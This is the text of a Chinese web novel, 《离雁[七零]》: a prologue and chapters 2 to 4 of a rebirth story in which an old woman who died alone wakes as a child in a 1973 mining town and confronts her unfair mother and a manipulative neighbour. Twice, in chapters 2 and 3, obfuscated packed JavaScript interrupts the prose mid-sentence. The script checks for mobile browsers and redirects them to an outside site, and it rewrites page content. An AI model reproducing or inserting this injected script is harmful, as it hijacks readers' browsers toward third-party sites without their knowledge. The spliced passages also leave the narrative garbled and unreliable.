《离雁[七零]》 1. 楔子 南雁死在二零四九年的除夕夜,时辰卡得刁钻,恰是旧岁将辞、新年欲至的暧昧时分。 窗外的烟花一阵撵着一阵,没完没了地炸,拼了老命地要把墨黑的夜空烫出几个窟窿,亮是亮了,却亮得支离破碎,像块被顽童撕烂后又胡乱贴了金箔的破布。 电视里春晚的欢声笑语隔着几道墙壁顽强地渗透过来,听不真切,只剩下一片嗡嗡营营的虚热闹,衬得这屋里愈发死寂。 她躺在冰冷的床上,身下是女儿几年前寄回来的蚕丝被,说是轻便保暖,价钞不菲。 可南雁总觉得盖不暖,滑溜溜、凉沁沁的,像裹着一层不合时宜的雾气,隔绝了人间烟火气,直往骨头缝里钻冷。 喉咙里像是塞了一团浸了水的旧棉花,每次呼吸都成了奢望。 她知道自己要死了。 八十四岁,按老话讲,是喜丧。 街坊邻里若得知,大抵会咂咂嘴,说一句“哟,高寿啊,有福气”,至于这福气里头裹着几分真几分假,没人在意。 喜丧喜丧,重点在“喜”,那点不足为外人道的“丧”,自个儿咽下去就得了。 屋子里是冷锅冷灶,连口能烫一烫喉咙的热水都没有。 唯一的活物是窗台上那盆半死不活的绿萝,叶片蔫头耷脑,边缘泛着不健康的枯黄,是隔壁那个同样孤寡的老太太去年硬塞给她的。 那时老太太自己个儿也要搬去养老院了,像是急着甩脱一个不祥的兆头。 这绿萝竟也顽强,吊着一口若有似无的气,陪她捱过了一个又一个同样寡淡的白昼与黑夜。 女儿在很远很远的国外,具体是哪国哪个城市,南雁有时记得清,有时模糊。 只记得地图上要划过一大片蓝色的海,机票贵得吓死人。 三年了,没回来过。 最后一次通电话是在半年前,信号差极了,嘶嘶啦啦的杂音里,女儿的声音像是被太平洋上的狂风吹散了的纸片,零落又尖锐:“……妈,不是我说你,你就是太软弱,一辈子不懂反抗,谁都能捏你一下,连我看着都替你累得慌……” 累吗? 南雁迷迷糊糊地想,意识像断了线的风筝,在天花板上徒劳地盘旋。 是累的,怎么会不累呢? 她这一辈子,活脱脱像个老旧的陀螺。 被一根名叫“亲情”的鞭子抽着,不停地转,转得晕头转向,转得磨平了所有棱角。 鞭子握在谁手里? 父母、兄弟姐妹……甚至后来,是子侄辈。 他们需要钱时,她省吃俭用,从牙缝里抠出那点退休金和打零工的血汗钱,给弟弟凑彩礼、盖新房,给哥哥的孩子交高昂的择校费、补习费,仿佛那是天经地义。 父母病倒在床,兄嫂弟媳各有各的难处,是她这个“闲人”床前榻后地伺候,端屎端尿,擦身翻身,从深夜熬到黎明,没听过谁一句真心实意的“辛苦”。 最后老房子拆迁,那么一大笔补偿款,她眼睁睁看着大哥一家喜气洋洋、迫不及待地签了协议,手指印摁得又红又重,像是生怕她反悔。 她连个零头都没摸着。 理由充分得让人无法反驳:“雁子啊,你一个嫁出去的女儿,早就是泼出去的水了,这祖产,按理说都没你的份儿。大哥替你守着。” 她不是没委屈过。 那一次,她蹲在拆迁办门口冰冷的马路牙子上,看着大哥一家被开发商的人簇拥着,脸上笑出的褶子都能夹死苍蝇。 她手里紧紧捏着那个磨破了边的存折,里面是她刚取出这个月全部的退休金,指节捏得发白,心里头像是被一把生了锈的钝刀子,慢吞吞地割走了一块肉,不见血,只是闷闷而绵长地疼。 冷风一吹,她忽然想起很久很久以前,久到记忆都褪了色。 那时候大哥还年轻,带她去村口的河边摸鱼。 她脚下一滑,掉进河里,水草缠住了脚踝。 大哥急得眼都红了,连鞋都顾不上脱,“噗通”一声就跳下来,胳膊那么有劲,一把就将她捞了起来,背在身上深一脚浅一脚地往家跑,一边跑一边骂她“笨丫头”,湿透的衣襟却把她冰凉的脸蛋焐热了。 那时候的河水真清啊,能看见底下的鹅卵石。 大哥的脊背真宽啊,好像能扛起一切。 可那都是多少年前的老黄历了? 每次她心里那点委屈和不平刚要冒头,刚想张嘴说点什么,母亲就准时开始哭天抹泪,演技几十年如一日地精湛:“雁子啊,我的好雁子,你是最懂事、最孝顺的,咱家就指望你了啊……你可不能寒了爹妈的心……” 父亲在一旁沉默地敲着那杆老烟袋,铜锅磕在桌角,发出沉闷的“叩叩”声,最后总是那句亘古不变的结语:“一家人,血脉至亲,计较那么多干什么?生分!” 于是,她就一次一次地,把到了嘴边的话,连同那点可怜的委屈和诉求,硬生生地咽了回去。 咽得太多次,太彻底,到最后,连她自己都忘了那滋味到底是什么样的。 好像她生来就该如此,就该是那个默默付出、不求回报的 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窗外的烟花表演似乎到了高潮,炸得更凶更猛,噼里啪啦,一声声钝响,像是直接敲在她那口薄薄、还没备好的棺材板上,迫不及待地要为她送行,或者说,驱赶。 南雁躺在冰冷的蚕丝被里,忽然觉得这一切荒谬得可笑。 她这一生,对得起父母,兢兢业业做了半辈子“孝女”;对得起兄弟,掏心掏肺当了半辈子“扶弟魔”;对得起那个没什么感情、最终一拍两散的前夫,忍气吞声尽了“妻职”;她甚至努力想去对得起那些并不怎么念她好的子侄辈。 她唯独对不起的,好像只有两个人。 一个,是她自己。 另一个,就是那个和她一样倔、一样嘴硬、一样学不会说软话,最终远走异国他乡的女儿,小安。 连死,都死得这么安静,这么悄无声息,这么……无人问津。 像墙角那盆无人浇灌的绿萝,默默枯萎。 小安…… 小安最后对她说的话,是“连我都替你累”。 她一定是恨极了自己这个懦弱无能的母亲吧? 恨铁不成钢。 所以才会三年不回来,连这最后一面,也不肯来见。 她可真是一个失败透顶的母亲啊。 一辈子想着“一家人”,最后身边却一个家人也没有。 意识彻底沉入黑暗之前,像燃尽的香头最后明灭的那一下,她脑子里只剩下一个无比清晰,甚至带着点狠厉劲的念头,盘旋着,冲撞着,几乎要撕裂那团堵着喉咙的棉花—— 如果有下辈子…… 去他妈的一家人! 2. 1973(修) 南雁是被一股熟悉到刺鼻的气味硬生生拽回人间的。 不是二零四九年除夕夜,堵在喉咙里带着硝烟味,象征着窒息的旧棉絮。 也不是弥留之际,缠绕在病榻前死亡缓慢腐烂的甜腥。 是人间烟火最浑浊的那一口。 裹着老旧棉絮晒透后的暖,以及铝制饭盒里牛奶被焖出的香气。 这气味像一双粗糙有力的手,穿透时空,死死抓住她的脚踝,将她从冰冷的寒潭深处“哗啦”一声捞起! 她猛地睁眼。 视线先是混沌的白,像上辈子无数次躺在手术台上,无影灯刺目的光。 然而下一瞬,那白光褪去,糊着发黄旧报纸的顶棚狠狠撞入眼帘。 报纸边缘卷曲成枯叶的弧度,“工业学大庆”的标题被岁月洇开,字迹模糊,却依旧透着那个年代特有的坚硬。 一根黑黢黢的电线从房梁垂落,末端吊着个光秃秃的橘黄色灯泡,灯口积了厚厚一层灰,像凝结的泪。 身下是硬得硌骨的木板床,蓝白格子的粗布床单洗得泛白,却异常平整。 身上压着的大红牡丹棉被沉甸甸如同铁块,某些部位的棉花早已板结,焐得她出了一身粘腻的热汗。 汗味混杂着劣质肥皂的淡碱气——这是她从八岁到出嫁前,日复一日浸透骨髓的味道。 这不是她那间只有消毒水味的冰冷单元楼,更不是阴曹地府。 窗外,一阵清脆急促的“叮铃”声骤然炸开,自行车铃铛撞碎了清晨的宁静。 孩童尖利的笑嚷和奔跑声随风灌入,紧接着,一个女人拔高的大嗓门穿透薄薄的墙壁,带着火烧火燎的急切:“张家婶子!还不死出去领牛奶!再磨蹭就剩涮锅水了!今儿的奶稠得糊嗓子!” 牛……奶? 南雁的心脏像是被一只无形的手猝然攥紧,几乎停跳,随即又疯狂地搏动起来,血液“轰”地一下冲上头顶,耳畔嗡嗡作响。 她几乎是手脚并用地挣脱身上沉重的棉被,赤脚踩在粗糙的水泥地上。 冰凉带着微小砂砾的触感,从脚心尖锐地窜上来,真实得让她浑身战栗。 她扑到窗前。 老旧的木窗框刷着斑驳的绿漆,玻璃上贴着防寒的报纸条,边缘翻卷,邋遢得像落魄汉子的胡茬。 透过蒙尘的玻璃望出去。 一排排低矮的红砖平房规矩地排列,晾衣绳上挂满了深蓝色的劳动布工装和洗得发灰的棉毛衫。 几个穿着臃肿棉袄,戴着雷锋帽的半大孩子,举着木头手枪在空地上追逐喊杀,小脸冻得通红,呵出的白气一团团消散在干冷的空气里。 远处,矿山井架如同钢铁巨兽,沉默地耸入灰蒙蒙的天空。 铁轨像冰冷的肠子,蜿蜒着钻进更深的雾气中。 一辆运矿的小火车慢吞吞地鸣着汽笛,“哐当……哐当……”的声响沉闷而规律,敲打着大地,这是881矿独有的脉搏。 这是她的老家。 是她八岁时,像棵野草般挣扎求存的地方。 是1973年。 她缓缓转过身,目光一寸寸扫过这间逼仄的小屋。 墙角立着印有“先进生产者”字样的搪瓷脸盆,盆边磕掉了一大块瓷,露出底下黑色的铁胚。 桌上,铁皮热水瓶上鲜红的“为人民服务”标语刺目依旧。 最后,她的视线定格在门后那面边缘裂了纹的镜子上。 她一步一步挪过去,步子虚浮,心跳在胸腔里擂鼓,震得她几乎站立不稳。 镜面因为裂纹而微微扭曲,映出一张稚嫩、瘦削的脸庞。 皮肤是常年在外疯跑晒出的微黑,头发扎成两个歪歪扭扭、毛毛躁躁的小辫子。 因为太瘦,一双眼睛显得格外大,黑沉沉的瞳孔里,此刻盛满了巨大的惊愕、茫然的空洞,以及一丝不敢触碰,生怕一碰即碎的狂喜。 这是八岁的她。 她真的回来了。 回到了一切苦难尚未扎根,一切悲剧还未及抽芽的……最初。 “吱呀——” 门轴发出干涩的呻吟,被人推开。 系着洗得发白,边缘磨损的藏蓝围裙的妇人端着铝饭盒走进来,头发在脑后挽成一个紧实利落的圆髻,脸上带着灶火熏烤出的微红。 “雁子,醒了?发什么癔症,傻站着当门神?”她习惯性地扯着嗓子,把饭盒“哐当”一声顿在桌上,“赶紧的!把牛奶喝了,你爸刚从食堂打回来的,还烫嘴呢!” 是她的母亲。 是她上辈子咽气时,都恨不能不再相见,刻薄了她一辈子的母亲——包兰芝。 此刻的包兰芝,脸上尚未被贫瘠生活和无尽算计刻满深刻的皱纹,腰背挺直,动作间带着常年劳作积攒下的利索劲儿。 可那眉眼间的不耐,那理所当然的命令语气,已经和几十年后如出一辙。 南雁的目光,落在了那个银色的铝饭盒上。 大半盒乳白色的液体微微晃荡,表面结着一层诱人的浅黄色奶皮,浓郁的属于这个年代的原始奶香,丝丝缕缕地飘散出来,钻进她的鼻腔。 881矿是有名的“牛奶矿”,职工家属按人头供应,这是她童年灰色记忆里为数不多,带着甜味的期待,也是后来几十年,她在物质极大丰富的时代里,再也寻不回的那点“家”的虚妄味道。 可此刻,看着那盒奶,南雁的心口像是被一把冰冷的锥子,狠狠扎透! 上辈子,家里所有稍好一点的东西,都理所当然地紧着大哥南天贵、四妹南玉,以及小弟南峰。 她能分到的,永远是兑了水的,或是他们喝剩的碗底,清汤寡水,带着施舍的凉薄。 父母永远振振有词:“男孩长身体,费粮食!”“你是姐姐,要让着弟弟妹妹!”“丫头片子,赔钱货,有的吃就不错了,挑什么挑!” 直到后来,她的学业、她的工作、她的婚姻、她作为人的尊严……都一步步成了家里男孩们向上攀爬的垫脚石,被吸吮干净后,随意丢弃。 “戳在那儿等奶下崽呢?!快喝!”包兰芝见她不动,眉头拧成了疙瘩,把饭盒又顿了一下,响声刺耳,“喝完麻利把饭盒刷了!我还得赶着去打中饭的菜!你爸和你哥他们的我都温在灶台上了,就你的磨蹭!” 又是这样。 顺序永远是父亲、大哥、小弟。她永远是最后,最不被在意的那一个。 那股熟悉的旧棉絮死死堵住口鼻的窒息感,再次蛮横地涌上喉咙。 南雁死死盯着那盒牛奶,小小的胸膛剧烈起伏,八十四岁临终前那口呕不出的怨气,那句卡在喉咙里的“去他妈的一家人”,此刻如同烧红的烙铁,带着前世的灼痛与决绝,狠狠烫在她刚刚重生的心脏上。 “妈,”南雁抬起头,声音因为极力压制着翻涌的情绪而微微发颤,“为什么我的奶……这么稀?大哥和小弟碗里的,也飘着这么薄一层奶皮吗?” 包兰芝正准备转身的脚步猛地顿住,扭过头,先是困惑地皱起脸,随即那困惑变成了难以置信,仿佛听到了什么天方夜谭,音调陡然拔高:“你……你说啥疯话?!” “我说,”南雁往前迈了一小步,瘦小的手指指向那个铝饭盒,目光毫不避让,直直迎上包兰芝惊怒的视线,“矿上发的牛奶,是按人头定量供应的。我的那份,凭什么被兑了水?连点像样的奶皮都结不起!” 包兰芝的脸瞬间沉了下来,黑得像锅底。 那点因忙碌泛起的微红褪去,只剩下被冒犯的恼怒和急于镇压的凶狠:“反了你了!死丫头片子!一大早灌了黄汤还是撞了客?有的喝你就偷着乐吧!你哥你弟是男娃!是顶门立户的!长身子、费脑子,多喝点好的怎么了?天经地义!你一个丫头,喝那么多有屁用!养得再好,将来也是别人锅里的肉!” 一模一样的话。 字句、语气,甚至连那鄙夷唾弃的神情,都和上辈子无数次在她耳边炸响时,分毫不差! 南雁只觉得一股冰冷的怒意,混着前世的怨毒,从脚底板直冲天灵盖,烧得她指尖冰凉,浑身却滚烫。 她不再是那个八十四岁奄奄一息,连 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560555|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愤怒都无力表达的老妪了。 也不再是那个被“孝道”和“家庭”捆缚了一生,直到油尽灯枯才敢醒悟的糊涂蛋! “丫头片子就不用长骨头,不用长脑子了吗?矿上的规定,白纸黑字贴着!按人头,人人平等!我的那份,你凭什么克扣?凭什么兑水?!” 包兰芝彻底愣住了,张着嘴,嘴唇哆嗦着,像是第一次真正看清这个沉默寡言的大女儿。 那双总是低垂顺从的眼睛里,此刻燃烧着她完全陌生的火焰,冰冷,又滚烫。 她扬起布满粗茧的手掌僵在半空,习惯性地想拧南雁的耳朵,用疼痛让她闭嘴,让她变回那个逆来顺受的影子。 可今天,南雁没躲。 她就那么站着,微微仰着头,睁着那双过于漆黑的眼睛,直勾勾地看着母亲悬在空中的手。 眼神里没有半分以往的怯懦和恐惧,只有一种近乎残忍的平静和洞悉一切的冰冷。 “妈,你打。打完了,我就端着这个饭盒,去矿上工会,问问各位领导。问问咱们881矿,是不是女孩就不算人,只配喝涮锅水?再让领导们评评理,看看咱们这‘先进生产者’的家,是不是能随便打骂女儿,连句公道话都不让说!” 包兰芝的手,僵硬的一点点垂了下来。 工会?领导?这死丫头……她怎么会知道这些?她怎么敢想这些?! 包兰芝的脸色变了几变,由红转白,又由白转青。 她猛地想起,矿上最近确实在抓什么“破除封建思想残余”、“提倡男女平等”,风头正紧。 要是这死丫头真豁出去闹到工会……丢人事小,万一影响了她爸南秉义“先进生产者”的名声,甚至牵连到将来南天贵顶替接班…… 她不敢想下去。 “放你娘的狗臭屁!”包兰芝色厉内荏地啐了一口,一把抓过桌上的抹布,用力擦拭着并不存在的污渍,眼神闪烁,避开了南雁那双让她心慌的眼睛,“谁……谁给你兑水了?就是今儿的奶……奶站送来的就稀!少在这儿胡咧咧!赶紧喝了上学去!” 说完,她像是身后有鬼追,急匆匆地摔门而出。 “砰!” 巨大的关门声在狭小的屋子里震荡回响,像一块拙劣的遮羞布,勉强盖住了她狼狈的退却。 屋子里骤然安静下来,只剩下窗外隐约的孩童嬉闹,和南雁自己尚未平息的心跳声。 南雁站在原地,胸腔里那股翻腾的戾气慢慢沉淀,化作唇边一丝冰冷的弧度。 她太了解包兰芝了。 典型的窝里横,所有的精明和强悍,都只用在算计和压榨自家人身上。 一旦触及到真正的利害,触及到她在乎的丈夫和儿子的前程,她缩得比谁都快。 过了好一会儿,南雁才走到桌边,端起那个铝饭盒。 牛奶已经不那么烫了,温吞地贴着掌心。她低下头,看着液面上晃动着自己那张稚嫩的倒影,仰起头,“咕咚咕咚”,将牛奶喝得一滴不剩。 浓郁的奶香真正地充盈了口腔,顺着喉咙滑下,熨帖着空瘪的胃袋。 一股暖流注入了冰冷的四肢百骸,带来了微弱而真实的力量。 她放下空饭盒,用手背狠狠抹去嘴角的奶渍。 再抬眼看向门后那面破镜子时,里面的小女孩嘴唇湿润,眼睛亮得骇人,像两簇在荒原上永不熄灭的野火。 未来的路还长,长得望不到头。 大哥南天贵还没抢走她升学的名额,小弟南峰还没逼着她辍学去干临时工给他挣零花钱,三妹南秀还没顶替她好不容易得来的工作机会,父母还没把她那笔微薄的彩礼全部搜刮去,给他们的宝贝儿子买房娶媳妇…… 那些曾经吸吮她的血肉,踩着她的脊梁骨向上爬的人,都还在。 可她,不一样了。 南雁对着镜子里那个熟悉又陌生的八岁自己,微微勾起嘴角。 那笑意未曾抵达眼底,反而漾出一片炽热的决心。 等着吧。 所有的债,她会一笔一笔,算得清清楚楚。 3. 好布料(修) 南雁抓起炕头那个洗得发白的军绿色书包。边角磨损严重,绽出灰黄的棉絮,像伤口翻出的腐肉。 里面空荡得可怜,只躺着两本卷边的课本,和一个用旧报纸仔细包裹的铅笔头,短得几乎捏不住。 这是南天贵淘汰下来的“遗产”。 包兰芝递给她时,还不忘敲打:“仔细点用,弄丢了你妹们往后使啥?” “我上学去了。”南雁对着灶台前那个背影说。 包兰芝从鼻子里“嗯”了一声,算是听见了。手里刷锅的动静陡然加大,铁铲刮着锅底,发出刺耳锐响,像某种无声的警告。 她始终没回头。 一脚踏出门槛,冬日清晨的冷风像刀子,瞬间捅进单薄的棉袄领口。 南雁打了个激灵,混沌的脑子被这凛冽一激,反而异常清醒起来。 矿区的早晨是一台巨大的生锈机器。 工人们骑着叮当作响的二八大杠,车铃汇成一片嘈杂的洪流;孩子们呼喝着,像挣脱笼子的鸟雀,红扑扑的脸上冒着热气,冲向那片红砖垒成的子弟小学。 “雁子!这边!” 一个清脆的声音劈开喧嚣。 刘小萍在不远处跳着脚挥手,脸蛋冻得像个红苹果。 她是南雁上辈子少数能说上几句话的伙伴,性子野,像石缝里挣扎出的草,后来嫁去外地,听说日子还算顺当。 南雁快步走过去,刘小萍一把挽住她的胳膊,热气呵在她耳边:“咋这么磨蹭?我刚瞅见你妈那脸,黑得跟锅底似的,又挨呲儿了?哎,跟你说,二蛋他们在废料场掏着个鸟窝!放了学咱去瞧瞧?烤鸟蛋,香死了!” 小孩子的快乐如此简单,一颗糖,一个鸟蛋,就能点亮一整天。 南雁听着她叽叽喳喳,有瞬间的恍惚。 上辈子,她也曾这样没心没肺地笑过,只是那些微薄的快乐,早被日后无穷尽的委屈磨得粉碎,像写在黑板上的粉笔字,一场大雨,就冲得连点痕迹都剩不下。 “不了,”南雁摇头,“放学我得早点回去。” “为啥?”刘小萍撅起嘴,不满地晃她胳膊,“啥事儿能比掏鸟蛋要紧?” 南雁看着她,嘴角极轻微地勾了一下,“有点事,得回去盯着。” 她没说出口的是,今天下午,包兰芝会把南秉义得先进奖赏的那块深蓝色灯芯绒布料拿出来。 矿上特供的料子,颜色正,厚实,包兰芝偷偷藏了半个月,念叨着要给南峰做过年的新衣裳。 可孙婶那张嘴,能把死人说话。 几句“嫂子心善”、“先进家属觉悟就是高”,再配上几声“我家小子可怜,开春连件像样衣裳都没有”的叹息,就能把包兰芝那点可怜的虚荣心捧得晕头转向,心甘情愿把布料拱手送人。 上辈子,南峰为这事哭闹过,换来的只有包兰芝一句“不懂事”、“眼皮子浅”。 那块好料子,穿在孙家小子身上不到俩月,就摔破了膝盖,扯了大口子,最终不知沦为了哪块抹布。 孙婶那人,嘴上抹蜜,心里藏刀,最是擅长度人下菜碟,拿捏包兰芝那点死要面子活受命的软肋。 以前南雁觉得事不关己,冷眼旁观。 现在? 她偏要伸手。 这个家里,就算是一根针,也休想再让那些魑魅魍魉白白叼了去! 刘小萍见她态度坚决,嘟囔两句,很快被路边一只瑟瑟发抖的野狗吸引了注意,大呼小叫地追了过去。 南雁跟在她身后,周遭孩童的笑闹声像隔着一层无形的膜。 她伸手摸了摸书包里粗糙的课本纸页。 上辈子,她成绩中庸,初中毕业就接了包兰芝的班,在矿招待所里端茶送水,半辈子没走出过这被矿灰浸透的地方。 这辈子,她要读书,要考出去,要把上辈子被人夺走、自己丢弃的东西,连本带利,统统攥回自己手里! …… 子弟小学是几排低矮的红砖房,操场大得能跑马,只是土太大,风一过,迷人眼。 教室里没暖气,四角砌着砖炉。 值日生早早生了火,烟囱不畅,倒灌的浓烟熏得人睁不开眼,咳嗽声此起彼伏。 南雁坐在靠窗第三排。 同桌是那个总拖着两管鼻涕的小胖子王刚,他爹是矿上卡车司机,桌洞里从不缺零嘴,烤红薯、水果糖,勾得周围孩子眼神发直。 上课铃是敲击一段废弃铁轨发出的,声音刺耳,能扎穿耳膜。 第一节语文课,李老师戴着酒瓶底似的厚眼镜,脸板得像块浸了水的铁板,领着学生念课文,声音干巴,毫无起伏。 孩子们拖着长腔,有口无心地跟读,魂儿早飞到了窗外。 只有南雁,脊背挺得笔直,每个字,每个拼音,都咬得清晰、准确。 上辈子遗忘的知识,正一点点被重新唤醒。 她要的,不是跟上,而是超越,是遥遥领先。 李老师的目光,在她身上停留的次数,明显多了起来。 南雁佯装未觉,眼皮都不抬,只专注地盯着课本上的方块字。 她要让所有人,包括她自己,都看清楚——南雁,不再是那个可以随意揉捏的软柿子了。 一上午在纸笔的摩擦和朗朗书声中溜走。 放学的铃声像一道赦令,孩子们瞬间化作脱缰的野马,呼啦啦涌出教室。 南雁利落地收拾好书包,拒绝了刘小萍去食堂“蹭暖气”的邀请,脚步匆匆往家赶。 离院子还有十几步,孙婶那极具穿透力的笑声便混着甜得发腻的奉承话,钻了出来:“哎哟我的好嫂子!你这心肠真是菩萨转世!瞧瞧这布,这颜色,这厚度!我家小子要是穿上,保准精神得跟画上的人儿似的!这年头,想扯块好布多难呐,票都弄不到!您这可真是解了我燃眉之急了!” 南雁推开门。 屋内的场景,与她脑中预演了无数次的分毫不差。 包兰芝正将那块叠得方方正正的深蓝色灯芯绒,往孙婶手里塞,脸上洋溢着被恭维得飘飘然的得意。 孙婶半推半就,一双眼却像钩子,死死钉在布料上,贪婪毕露。 “妈,我回来了。”南雁打断了屋里的“和谐”。 包兰芝看见她,笑容僵在脸上,迅速褪色,变成被打扰的不耐:“回来就回来,喊什么丧!” 孙婶反应极快,脸上堆起夸张的热情:“雁子放学啦?瞧瞧,这小模样,越长越水灵了!” 话假得渗人。 南雁现在瘦得像根竹竿,面色蜡黄,跟“水灵”二字八竿子打不着。 南雁没接这虚伪的茬,目光落在布料上,故作天真:“妈,这不是爸得先进奖的那块灯芯绒吗?你要给小峰做新衣服啊?这蓝色真好看,小峰穿上肯定精神。” 包兰芝脸色瞬间不自在起来,眼神闪烁,呵斥道:“大人做事,小孩少插嘴!一边待着去!” 孙婶连忙打圆场,语气带着刻意的怜悯:“雁子还不知情吧?你妈心善,看我们家小子没件新衣裳过年,可怜见的,把这布给我们了!你妈这觉悟,真不愧是先进家属!” 南雁眨了眨眼,视线转向包兰芝:“妈,给小峰做新衣服的布,为什么要给孙婶?小峰过年穿什么?穿大哥淘汰下来的旧衣服吗?大哥那衣服,胳膊肘都快磨穿了,补丁摞补丁,冷风一打就透。这可是爸在井下流汗换来的奖励,爸要是知道你把他的奖励随便送了人,心里能舒坦?” 包兰芝被问得噎住,脸上那点强撑的得意瞬间垮塌,只剩下被戳破的尴尬和恼羞成怒:“反了你了!大人做事轮得到你指手画脚?旧衣服怎么就不暖和了?孙婶家有难处,邻里邻居帮衬一把怎么了?就显你能说会道?” 孙婶也帮腔,语气却带了酸意:“就是啊雁子,年纪小小,别学得这么计较。一块布罢了,我们家小子穿他爸的旧工装,不也照样过年?” 南雁的目光落在孙婶身上那件半新的劳保棉袄上。 孙叔是矿上技术员,上个月刚评了先进,她昨天分明看见他拎着足有三指厚肥膘的猪肉回家。 她牵起嘴角,语气平直,却锐利如刀:“孙婶,我要是没记错,孙叔前阵子也评了先进吧?矿上没发奖励?我昨儿还看见孙叔拎着好大一块猪肉回家,肥膘厚得能熬一锅油。你们家猪肉都吃得满嘴流油,怎么反倒连给孩子扯布做衣裳的钱都没了?非得来拿我们家用劳模奖励换来的、给小弟做新衣的布?” 孙婶的脸,霎时像被打翻的调色盘,红白交错,精彩纷呈。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16560556|186949||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包兰芝也愣住了,她光顾着听奉承,把这茬忘得一干二净。 南雁乘胜追击:“孙婶家要是真困难到这份上,要不……我晚上跟爸说说,让矿上工会派人来了解了解情况?听说困难职工家庭,能申请补助,发棉衣棉裤呢。” “困难职工”四个字一出,孙婶猛地一哆嗦。 她最爱面子,哪敢让工会知道她四处占便宜? 手僵在半空,递出去不是,收回来也不是,那张巧嘴此刻像被缝上了,只剩下难堪的沉默和无处遁形的狼狈。 包兰芝此刻才彻底回过味来,一股被愚弄的怒火混着心疼,直冲脑门。 她一把将布料从孙婶僵直的手指间抽回来,动作又快又狠,带着泄愤的力道。 “他孙婶!我忽然想起来,这布尺寸差点意思,得搭点别的料子才够,就不麻烦你了!你家小子穿工装裤好,耐磨,禁脏!” 说完,几乎是抢一般,转身就把布料死死摁进炕头那只旧木箱最底层,“哐当”一声合上箱盖,落锁! 仿佛慢一秒,那布料就会长翅膀飞走。 孙婶站在原地,脸上青红皂白,干瘪地笑了两声,嗓音发涩:“那……那啥……家里灶上还坐着水,我得赶紧回去看看,别烧干了锅……” 话音未落,人已经像只被踩了尾巴的猫,几乎是贴着门边,仓皇地溜了出去,连句像样的客套话都忘了编。 南雁看着那背影消失在门外,指尖轻轻捻着粗糙的衣角。 “哼!”包兰芝的冷哼从牙缝里挤出来,带着未消的余怒和后怕,“真拿我当冤大头了!几句好听话就想糊弄走我的灯芯绒?做她娘的春秋大梦!” 南雁不用回头,也能描摹出包兰芝此刻的神情——眉头拧成死疙瘩,嘴角下撇,心里又气又悔,像吞了只苍蝇,吐不出来又咽不下去,偏生拉不下脸承认自己方才的蠢相。 “还杵着当门神?”包兰芝的声音在身后响起,硬邦邦的,带着几分欲盖弥彰的烦躁,“滚回屋写你的作业去!一点眼力见没有!” 南雁缓缓转过身。 母女俩的视线在空中撞个正着。 包兰芝的眼神复杂得像一团乱麻,恼怒、不甘、窘迫,还有一丝被女儿看穿并阻止了愚蠢行为的别扭。 南雁太熟悉这眼神了。 上辈子,每次包兰芝被外人糊弄吃亏后,都会用这种眼神剜她,仿佛是她带来了晦气,想寻个由头骂几句撒气,却又心虚地找不到立脚点。 果然,包兰芝嘴唇动了动,那句“要你多事”在舌尖滚了滚,最终还是被她强行咽了回去。 她猛地想起,若不是南雁刚才那几句刀片子似的话,这会儿,她恐怕还在和孙婶虚与委蛇,宝贝布料早就易主,等夜深人静,她怕是得捶着胸口后悔到天明。 那点迁怒的火苗,被这迟来的清醒浇灭,只剩下满心窝囊和无处发泄的憋屈。 她最终只能像驱赶苍蝇般,用力挥挥手,把南雁往屋里赶:“磨蹭啥?点灯熬油的,不要钱啊?!” 南雁垂下眼睫,浓密的睫毛在鼻梁旁投下小片阴影,完美掩住了眼底一闪而逝的冰冷笑意。 这才哪儿到哪儿。 不过是牛刀小试。 她转身走进里屋。 那张兼做书桌的三屉桌,桌面被缝纫机头压出一道深痕。 桌上散落着半块橡皮,一截短得可怜的铅笔头,还有一本边角卷曲的算术本。 南雁坐下时,膝盖不慎撞到桌腿,发出沉闷一响。她浑不在意,只小心翼翼地将那截铅笔头捏在指尖。 这是南天贵用剩的,笔芯断过,她用小刀反复削切,才勉强能握住书写。 刚翻开算术本,窗外就传来包兰芝的大嗓门,指桑骂槐,清晰得如同在她耳边咆哮:“养你们这些光吃不下蛋的废物有啥用!一天天费粮食!连个蛋星子都见不着!趁早宰了吃肉清净!” 南雁不用看也知道,包兰芝定然又叉着腰,站在鸡窝前,把对孙婶的怒气,尽数倾泻在那两只懵懂的老母鸡身上。 上辈子,每次在外头受了气,包兰芝都是这般作态。 不敢对外人发作,就只能关起门来,对着更弱小的家畜,或者她们这几个“赔钱货”的女儿,发泄她那无能的怒火。 4. 画大饼(修) 包兰芝的骂声像烧尽的柴火,偶尔爆出几点不甘心的火星,最终湮灭在锅碗瓢盆的碰撞声里。 屋里安静下来,只剩下铅笔划过纸张的声音。 南雁的心却像揣了只兔子,在胸腔里撞得生疼。 那块□□芯绒布的风波,顶多算个开场锣。 孙婶那人,针尖大的亏能记成磨盘大,今天吃了瘪,指不定哪天就要找补回来。 包兰芝此刻是回过味了,可她耳根子软,爱听奉承的毛病刻在骨子里,下次被哪个“孙婶李婶”捧着哄几句,照样晕头转向,把家里的好东西往外撒。 这个家,像四面漏风的破屋子,冷风嗖嗖地往里灌。 父亲南秉义是个炮仗脾气,一天到晚泡在暗无天日的井下,除了“钱够不够花”这类“大事”,家里事一概不管,工资袋捂得比命根子还紧。 大哥南天贵被惯得自私又理直气壮,眼睛只盯着自己的好处。 小弟南峰还小,脑子里除了吃和玩,装不下别的事。 